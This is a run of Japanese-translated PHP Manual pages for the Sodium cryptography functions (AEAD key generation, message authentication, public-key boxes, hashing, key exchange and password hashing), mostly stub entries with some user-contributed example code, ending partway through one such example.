sodium_crypto_aead_chacha20poly1305_ietf_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_ietf_keygen — Get random bytes for key

説明

sodium_crypto_aead_chacha20poly1305_ietf_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes for key

  • ≪ sodium_crypto_aead_chacha20poly1305_ietf_keygen
  • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt ≫
  • PHP Manual
  • Sodium 関数
  • Get random bytes for key

sodium_crypto_aead_chacha20poly1305_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_keygen — Get random bytes for key

説明

sodium_crypto_aead_chacha20poly1305_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_aead_chacha20poly1305_keygen
  • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_aead_xchacha20poly1305_ietf_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_xchacha20poly1305_ietf_decrypt — Description

説明

sodium_crypto_aead_xchacha20poly1305_ietf_decrypt ( string $ciphertext , string $additional_data , string $nonce , string $key ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ciphertext

additional_data

nonce

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_aead_xchacha20poly1305_ietf_decrypt
  • sodium_crypto_aead_xchacha20poly1305_ietf_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_aead_xchacha20poly1305_ietf_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_xchacha20poly1305_ietf_encrypt — Description

説明

sodium_crypto_aead_xchacha20poly1305_ietf_encrypt ( string $message , string $additional_data , string $nonce , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

additional_data

nonce

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_aead_xchacha20poly1305_ietf_encrypt
  • sodium_crypto_auth_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_aead_xchacha20poly1305_ietf_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_xchacha20poly1305_ietf_keygen — Description

説明

sodium_crypto_aead_xchacha20poly1305_ietf_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes for key

  • ≪ sodium_crypto_aead_xchacha20poly1305_ietf_keygen
  • sodium_crypto_auth_verify ≫
  • PHP Manual
  • Sodium 関数
  • Get random bytes for key

sodium_crypto_auth_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_auth_keygen — Get random bytes for key

説明

sodium_crypto_auth_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Verifies that the tag is valid for the message

  • ≪ sodium_crypto_auth_keygen
  • sodium_crypto_auth ≫
  • PHP Manual
  • Sodium 関数
  • Verifies that the tag is valid for the message

sodium_crypto_auth_verify

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_auth_verify — Verifies that the tag is valid for the message

説明

sodium_crypto_auth_verify ( string $mac , string $message , string $key ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

mac

message

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Compute a tag for the message

  • ≪ sodium_crypto_auth_verify
  • sodium_crypto_box_keypair_from_secretkey_and_publickey ≫
  • PHP Manual
  • Sodium 関数
  • Compute a tag for the message

sodium_crypto_auth

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_auth — Compute a tag for the message

説明

sodium_crypto_auth ( string $message , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

key

返り値

User Contributed Notes

craig at craigfrancis dot co dot uk 25-Aug-2018 08:08
Here's a quick example on how to use sodium_crypto_auth(); where you have a message that you want to sign, so anyone who can access the *shared* key can confirm that the message hasn't been tampered with.

This is similar to sodium_crypto_sign_detached(), but both signer and verifier have access to the same key.

<?php

$key = sodium_crypto_auth_keygen();

//--------------------------------------------------
// Person 1, signing

$message = 'Hello';

$signature = sodium_crypto_auth($message, $key);

//--------------------------------------------------
// Person 2, verifying

$message_valid = sodium_crypto_auth_verify($signature, $message, $key);

if (!$message_valid) {
    exit('Message has been changed.');
}

?>


Description

  • ≪ sodium_crypto_auth
  • sodium_crypto_box_keypair ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_box_keypair_from_secretkey_and_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_keypair_from_secretkey_and_publickey — Description

説明

sodium_crypto_box_keypair_from_secretkey_and_publickey ( string $secret_key , string $public_key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

secret_key

public_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Randomly generate a secret key and a corresponding public key

  • ≪ sodium_crypto_box_keypair_from_secretkey_and_publickey
  • sodium_crypto_box_open ≫
  • PHP Manual
  • Sodium 関数
  • Randomly generate a secret key and a corresponding public key

sodium_crypto_box_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_keypair — Randomly generate a secret key and a corresponding public key

説明

sodium_crypto_box_keypair ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

mickey at disneyland dot com 12-Dec-2019 11:15
To get the actual public and secret keys, use `sodium_crypto_box_publickey()` and `sodium_crypto_box_secretkey()`.


Verify and decrypt a ciphertext

  • ≪ sodium_crypto_box_keypair
  • sodium_crypto_box_publickey_from_secretkey ≫
  • PHP Manual
  • Sodium 関数
  • Verify and decrypt a ciphertext

sodium_crypto_box_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_open — Verify and decrypt a ciphertext

説明

sodium_crypto_box_open ( string $ciphertext , string $nonce , string $key_pair ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ciphertext

nonce

key_pair

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_box_open
  • sodium_crypto_box_publickey ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_box_publickey_from_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_publickey_from_secretkey — Description

説明

sodium_crypto_box_publickey_from_secretkey ( string $secret_key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

secret_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_box_publickey_from_secretkey
  • sodium_crypto_box_seal_open ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_box_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_publickey — Description

説明

sodium_crypto_box_publickey ( string $key_pair ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key_pair

返り値

User Contributed Notes

There are no user contributed notes for this page.


Decrypt the ciphertext

  • ≪ sodium_crypto_box_publickey
  • sodium_crypto_box_seal ≫
  • PHP Manual
  • Sodium 関数
  • Decrypt the ciphertext

sodium_crypto_box_seal_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_seal_open — Decrypt the ciphertext

説明

sodium_crypto_box_seal_open ( string $ciphertext , string $key_pair ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ciphertext

key_pair

返り値

User Contributed Notes

There are no user contributed notes for this page.


Encrypt a message

  • ≪ sodium_crypto_box_seal_open
  • sodium_crypto_box_secretkey ≫
  • PHP Manual
  • Sodium 関数
  • Encrypt a message

sodium_crypto_box_seal

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_seal — Encrypt a message

説明

sodium_crypto_box_seal ( string $message , string $key_pair ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

key_pair

返り値

User Contributed Notes

craig at craigfrancis dot co dot uk 23-Jan-2018 01:36
Here's a quick example on how to use sodium_crypto_box_seal(); where you have 2 people exchanging a $message - person 1 encrypts it so that only person 2 can decrypt it. It does not allow person 2 to know who sent it, as only their public key way used (see sodium_crypto_box to do that).

<?php

$keypair = sodium_crypto_box_keypair();
$keypair_public = sodium_crypto_box_publickey($keypair);
$keypair_secret = sodium_crypto_box_secretkey($keypair);

// $key_public = sodium_crypto_box_publickey_from_secretkey($keypair_secret);
// $keypair = sodium_crypto_box_keypair_from_secretkey_and_publickey($keypair_secret, $key_public);

//--------------------------------------------------
// Person 1, encrypting

$message = 'hello';

$encrypted = sodium_crypto_box_seal($message, $keypair_public);

echo base64_encode($encrypted) . "\n";

//--------------------------------------------------
// Person 2, decrypting

$decrypted = sodium_crypto_box_seal_open($encrypted, $keypair);

echo $decrypted . "\n";

?>


Description

  • ≪ sodium_crypto_box_seal
  • sodium_crypto_box_seed_keypair ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_box_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_secretkey — Description

説明

sodium_crypto_box_secretkey ( string $key_pair ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key_pair

返り値

User Contributed Notes

There are no user contributed notes for this page.


Deterministically derive the key pair from a single key

  • ≪ sodium_crypto_box_secretkey
  • sodium_crypto_box ≫
  • PHP Manual
  • Sodium 関数
  • Deterministically derive the key pair from a single key

sodium_crypto_box_seed_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_seed_keypair — Deterministically derive the key pair from a single key

説明

sodium_crypto_box_seed_keypair ( string $seed ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

seed

返り値

User Contributed Notes

There are no user contributed notes for this page.


Encrypt a message

  • ≪ sodium_crypto_box_seed_keypair
  • sodium_crypto_generichash_final ≫
  • PHP Manual
  • Sodium 関数
  • Encrypt a message

sodium_crypto_box

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box — Encrypt a message

説明

sodium_crypto_box ( string $message , string $nonce , string $key_pair ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

nonce

key_pair

返り値

User Contributed Notes

craig at craigfrancis dot co dot uk 23-Jan-2018 01:13
Here's a quick example on how to use sodium_crypto_box(); where you have 2 people exchanging a $message, where person 1 encrypts it so that only person 2 can decrypt it, and be sure that person 1 actually sent it (without it being tampered with).

<?php

$keypair1 = sodium_crypto_box_keypair();
$keypair1_public = sodium_crypto_box_publickey($keypair1);
$keypair1_secret = sodium_crypto_box_secretkey($keypair1);

$keypair2 = sodium_crypto_box_keypair();
$keypair2_public = sodium_crypto_box_publickey($keypair2);
$keypair2_secret = sodium_crypto_box_secretkey($keypair2);

//--------------------------------------------------
// Person 1, encrypting

$message = 'hello';

$nonce = random_bytes(SODIUM_CRYPTO_BOX_NONCEBYTES);

$encryption_key = sodium_crypto_box_keypair_from_secretkey_and_publickey($keypair1_secret, $keypair2_public);
$encrypted = sodium_crypto_box($message, $nonce, $encryption_key);

echo base64_encode($encrypted) . "\n";

//--------------------------------------------------
// Person 2, decrypting

$decryption_key = sodium_crypto_box_keypair_from_secretkey_and_publickey($keypair2_secret, $keypair1_public);
$decrypted = sodium_crypto_box_open($encrypted, $nonce, $decryption_key);

echo $decrypted . "\n";

?>


Complete the hash

  • ≪ sodium_crypto_box
  • sodium_crypto_generichash_init ≫
  • PHP Manual
  • Sodium 関数
  • Complete the hash

sodium_crypto_generichash_final

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_final — Complete the hash

説明

sodium_crypto_generichash_final ( string &$state , int $length = SODIUM_CRYPTO_GENERICHASH_BYTES ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

state

length

返り値

User Contributed Notes

There are no user contributed notes for this page.


Initialize a hash

  • ≪ sodium_crypto_generichash_final
  • sodium_crypto_generichash_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Initialize a hash

sodium_crypto_generichash_init

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_init — Initialize a hash

説明

sodium_crypto_generichash_init ( string $key = "" , int $length = SODIUM_CRYPTO_GENERICHASH_BYTES ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key

length

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes for key

  • ≪ sodium_crypto_generichash_init
  • sodium_crypto_generichash_update ≫
  • PHP Manual
  • Sodium 関数
  • Get random bytes for key

sodium_crypto_generichash_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_keygen — Get random bytes for key

説明

sodium_crypto_generichash_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Add message to a hash

  • ≪ sodium_crypto_generichash_keygen
  • sodium_crypto_generichash ≫
  • PHP Manual
  • Sodium 関数
  • Add message to a hash

sodium_crypto_generichash_update

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_update — Add message to a hash

説明

sodium_crypto_generichash_update ( string &$state , string $message ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

state

message

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get a hash of the message

  • ≪ sodium_crypto_generichash_update
  • sodium_crypto_kdf_derive_from_key ≫
  • PHP Manual
  • Sodium 関数
  • Get a hash of the message

sodium_crypto_generichash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash — Get a hash of the message

説明

sodium_crypto_generichash ( string $message , string $key = "" , int $length = SODIUM_CRYPTO_GENERICHASH_BYTES ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

key

length

返り値

User Contributed Notes

There are no user contributed notes for this page.


Derive a subkey

  • ≪ sodium_crypto_generichash
  • sodium_crypto_kdf_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Derive a subkey

sodium_crypto_kdf_derive_from_key

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kdf_derive_from_key — Derive a subkey

説明

sodium_crypto_kdf_derive_from_key ( int $subkey_length , int $subkey_id , string $context , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

subkey_length

subkey_id

context

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes for key

  • ≪ sodium_crypto_kdf_derive_from_key
  • sodium_crypto_kx_client_session_keys ≫
  • PHP Manual
  • Sodium 関数
  • Get random bytes for key

sodium_crypto_kdf_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kdf_keygen — Get random bytes for key

説明

sodium_crypto_kdf_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_kdf_keygen
  • sodium_crypto_kx_keypair ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_kx_client_session_keys

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_client_session_keys — Description

説明

sodium_crypto_kx_client_session_keys ( string $client_key_pair , string $server_key ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

client_key_pair

server_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Creates a new sodium keypair

  • ≪ sodium_crypto_kx_client_session_keys
  • sodium_crypto_kx_publickey ≫
  • PHP Manual
  • Sodium 関数
  • Creates a new sodium keypair

sodium_crypto_kx_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_keypair — Creates a new sodium keypair

説明

sodium_crypto_kx_keypair ( ) : string

Create a new sodium keypair consisting of the secret key (32 bytes) followed by the public key (32 bytes). The keys can be retrieved by calling sodium_crypto_kx_secretkey() and sodium_crypto_kx_publickey(), respectively.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the new keypair on success; throws an exception otherwise.

例

例1 sodium_crypto_kx_keypair() usage

Create a new keypair and retrieve the secret and the public key from it.

<?php
$keypair = sodium_crypto_kx_keypair();
$secret = sodium_crypto_kx_secretkey($keypair);
$public = sodium_crypto_kx_publickey($keypair);
printf("secret: %s\npublic: %s", bin2hex($secret), bin2hex($public));
?>

上の例の出力は、 たとえば以下のようになります。

secret: e7c5c918fdc40762e6000542c0118f4368ce8fd242b0e48c1e17202797a25daf
public: d1f59fda8652caf40ed1a01d2b6f3802b60846986372cd8fa337b7c12c428b18

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_kx_keypair
  • sodium_crypto_kx_secretkey ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_kx_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_publickey — Description

説明

sodium_crypto_kx_publickey ( string $key_pair ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key_pair

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_kx_publickey
  • sodium_crypto_kx_seed_keypair ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_kx_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_secretkey — Description

説明

sodium_crypto_kx_secretkey ( string $key_pair ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key_pair

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_kx_secretkey
  • sodium_crypto_kx_server_session_keys ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_kx_seed_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_seed_keypair — Description

説明

sodium_crypto_kx_seed_keypair ( string $seed ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

seed

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_kx_seed_keypair
  • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_kx_server_session_keys

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_server_session_keys — Description

説明

sodium_crypto_kx_server_session_keys ( string $server_key_pair , string $client_key ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

server_key_pair

client_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Verify that the password is a valid password verification string

  • ≪ sodium_crypto_kx_server_session_keys
  • sodium_crypto_pwhash_scryptsalsa208sha256_str ≫
  • PHP Manual
  • Sodium 関数
  • Verify that the password is a valid password verification string

sodium_crypto_pwhash_scryptsalsa208sha256_str_verify

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_scryptsalsa208sha256_str_verify — Verify that the password is a valid password verification string

説明

sodium_crypto_pwhash_scryptsalsa208sha256_str_verify ( string $hash , string $password ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

hash

password

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get an ASCII encoded hash

  • ≪ sodium_crypto_pwhash_scryptsalsa208sha256_str_verify
  • sodium_crypto_pwhash_scryptsalsa208sha256 ≫
  • PHP Manual
  • Sodium 関数
  • Get an ASCII encoded hash

sodium_crypto_pwhash_scryptsalsa208sha256_str

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_scryptsalsa208sha256_str — Get an ASCII encoded hash

説明

sodium_crypto_pwhash_scryptsalsa208sha256_str ( string $password , int $opslimit , int $memlimit ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

password

opslimit

memlimit

返り値

User Contributed Notes

spam at tonycast dot com 15-May-2018 06:47
<?php
/* Example Hash Generation */

    const PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
    const PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;

$hash_str = sodium_crypto_pwhash_scryptsalsa208sha256_str('password123', PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE, PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE);

print_r($hash_str);

//outputs:  $7$C6..../....ZwhNJoHcE/5yzM05gk67R2IOAp9XjD3X2gTNRpUlg92$YBwEfrN19OUo9dZG7LPSanCmjwYg.JgOEN4E75qrXG6


Derives a key from a password

  • ≪ sodium_crypto_pwhash_scryptsalsa208sha256_str
  • sodium_crypto_pwhash_str_needs_rehash ≫
  • PHP Manual
  • Sodium 関数
  • Derives a key from a password

sodium_crypto_pwhash_scryptsalsa208sha256

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_scryptsalsa208sha256 — Derives a key from a password

説明

sodium_crypto_pwhash_scryptsalsa208sha256 ( int $length , string $password , string $salt , int $opslimit , int $memlimit ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

length

password

salt

opslimit

memlimit

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_pwhash_scryptsalsa208sha256
  • sodium_crypto_pwhash_str_verify ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_pwhash_str_needs_rehash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_str_needs_rehash — Description

説明

sodium_crypto_pwhash_str_needs_rehash ( string $password , int $opslimit , int $memlimit ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

password

opslimit

memlimit

返り値

User Contributed Notes

There are no user contributed notes for this page.


Verifies that a password matches a hash

  • ≪ sodium_crypto_pwhash_str_needs_rehash
  • sodium_crypto_pwhash_str ≫
  • PHP Manual
  • Sodium 関数
  • Verifies that a password matches a hash

sodium_crypto_pwhash_str_verify

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_str_verify — Verifies that a password matches a hash

説明

sodium_crypto_pwhash_str_verify ( string $hash , string $password ) : bool

Checks that a password hash created using sodium_crypto_pwhash_str() matches a given plain-text password. Note that the parameters are in the opposite order to the same parameters in the similar password_hash() function.

パラメータ

hash

password_hash() が作ったハッシュ。

password

ユーザーのパスワード。

返り値

Returns true if the password and hash match, or false otherwise.

注意

注意:

Hashes are calculated using the Argon2ID algorithm, providing resistance to both GPU and side-channel attacks.

参考

  • sodium_crypto_pwhash_str() - Get an ASCII-encoded hash
  • password_hash() - パスワードハッシュを作る
  • password_verify() - パスワードがハッシュにマッチするかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


Get an ASCII-encoded hash

  • ≪ sodium_crypto_pwhash_str_verify
  • sodium_crypto_pwhash ≫
  • PHP Manual
  • Sodium 関数
  • Get an ASCII-encoded hash

sodium_crypto_pwhash_str

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_str — Get an ASCII-encoded hash

説明

sodium_crypto_pwhash_str ( string $password , int $opslimit , int $memlimit ) : string

Uses a CPU- and memory-hard hash algorithm along with a randomly-generated salt, and memory and CPU limits to generate an ASCII-encoded hash suitable for password storage.

パラメータ

password

string; The password to generate a hash for.

opslimit

Represents a maximum amount of computations to perform. Raising this number will make the function require more CPU cycles to compute a key. There are constants available to set the operations limit to appropriate values depending on intended use, in order of strength: SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE and SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE.

memlimit

The maximum amount of RAM that the function will use, in bytes. There are constants to help you choose an appropriate value, in order of size: SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE, and SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE. Typically these should be paired with the matching opslimit values.

返り値

Returns the hashed password.

In order to produce the same password hash from the same password, the same values for opslimit and memlimit must be used. These are embedded within the generated hash, so everything that's needed to verify the hash is included. This allows the sodium_crypto_pwhash_str_verify() function to verify the hash without needing separate storage for the other parameters.

注意

注意:

Hashes are calculated using the Argon2ID algorithm, providing resistance to both GPU and side-channel attacks. In contrast to the password_hash() function, there is no salt parameter (a salt is generated automatically), and the opslimit and memlimit parameters are not optional.

例

例1 password_hash() example

<?php
$password = 'password';
echo sodium_crypto_pwhash_str(
    $password,
    SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
    SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
);

上の例の出力は、 たとえば以下のようになります。

$argon2id$v=19$m=65536,t=2,p=1$oWIfdaXwWwhVmovOBc2NAQ$EbsZ+JnZyyavkafS0hoc4HdaOB0ILWZESAZ7kVGa+Iw

参考

  • sodium_crypto_pwhash_str_verify() - Verifies that a password matches a hash
  • sodium_crypto_pwhash() - Derive a key from a password
  • password_hash() - パスワードハッシュを作る
  • password_verify() - パスワードがハッシュにマッチするかどうかを調べる
  • » Libsodium Argon2 docs

User Contributed Notes

There are no user contributed notes for this page.


Derive a key from a password

  • ≪ sodium_crypto_pwhash_str
  • sodium_crypto_scalarmult_base ≫
  • PHP Manual
  • Sodium 関数
  • Derive a key from a password

sodium_crypto_pwhash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash — Derive a key from a password

説明

sodium_crypto_pwhash ( int $length , string $password , string $salt , int $opslimit , int $memlimit , int $algo = SODIUM_CRYPTO_PWHASH_ALG_DEFAULT ) : string

This function provides low-level access to libsodium's crypto_pwhash key derivation function. Unless you have specific reason to use this function, you should use sodium_crypto_pwhash_str() or password_hash() functions instead.

パラメータ

length

int; The length of the password hash to generate, in bytes.

password

string; The password to generate a hash for.

salt

string A salt to add to the password before hashing. The salt should be unpredictable, ideally generated from a good random mumber source such as random_bytes(), and have a length of at least SODIUM_CRYPTO_PWHASH_SALTBYTES bytes.

opslimit

Represents a maximum amount of computations to perform. Raising this number will make the function require more CPU cycles to compute a key. There are some constants available to set the operations limit to appropriate values depending on intended use, in order of strength: SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE and SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE.

memlimit

The maximum amount of RAM that the function will use, in bytes. There are constants to help you choose an appropriate value, in order of size: SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE, and SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE. Typically these should be paired with the matching opslimit values.

algo

int A number indicating the hash algorithm to use. By default SODIUM_CRYPTO_PWHASH_ALG_DEFAULT (the currently recommended algorithm, which can change from one version of libsodium to another), or explicitly using SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13, representing the Argon2id algorithm version 1.3.

返り値

Returns the derived key. The return value is a binary string of the hash, not an ASCII-encoded representation, and does not contain additional information about the parameters used to create the hash, so you will need to keep that information if you are ever going to verify the password in future. Use sodium_crypto_pwhash_str() to avoid needing to do all that.

例

例1 password_hash() example

<?php
//Need to keep the salt if we're ever going to be able to check this password
$salt = random_bytes(SODIUM_CRYPTO_PWHASH_SALTBYTES);
//Using bin2hex to keep output readable
echo bin2hex(
    sodium_crypto_pwhash(
        16, // == 128 bits
        'password',
        $salt,
        SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
        SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE,
        SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13
    )
);
?>

上の例の出力は、 たとえば以下のようになります。

a18f346ba57992eb7e4ae6abf3fd30ee

User Contributed Notes

craig at craigfrancis dot co dot uk 08-Mar-2020 06:08
When encrypting, you would ideally use a randomly generated key, as that's considerably harder to guess.

For example, sodium_crypto_aead_chacha20poly1305_ietf_keygen()

But if you need to use a password to encrypt/decrypt, you can use sodium_crypto_pwhash():

<?php

function secrets_encrypt($password, $secret) {

  $config = [
      'size'      => SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES,
      'salt'      => random_bytes(SODIUM_CRYPTO_PWHASH_SALTBYTES),
      'limit_ops' => SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE,
      'limit_mem' => SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE,
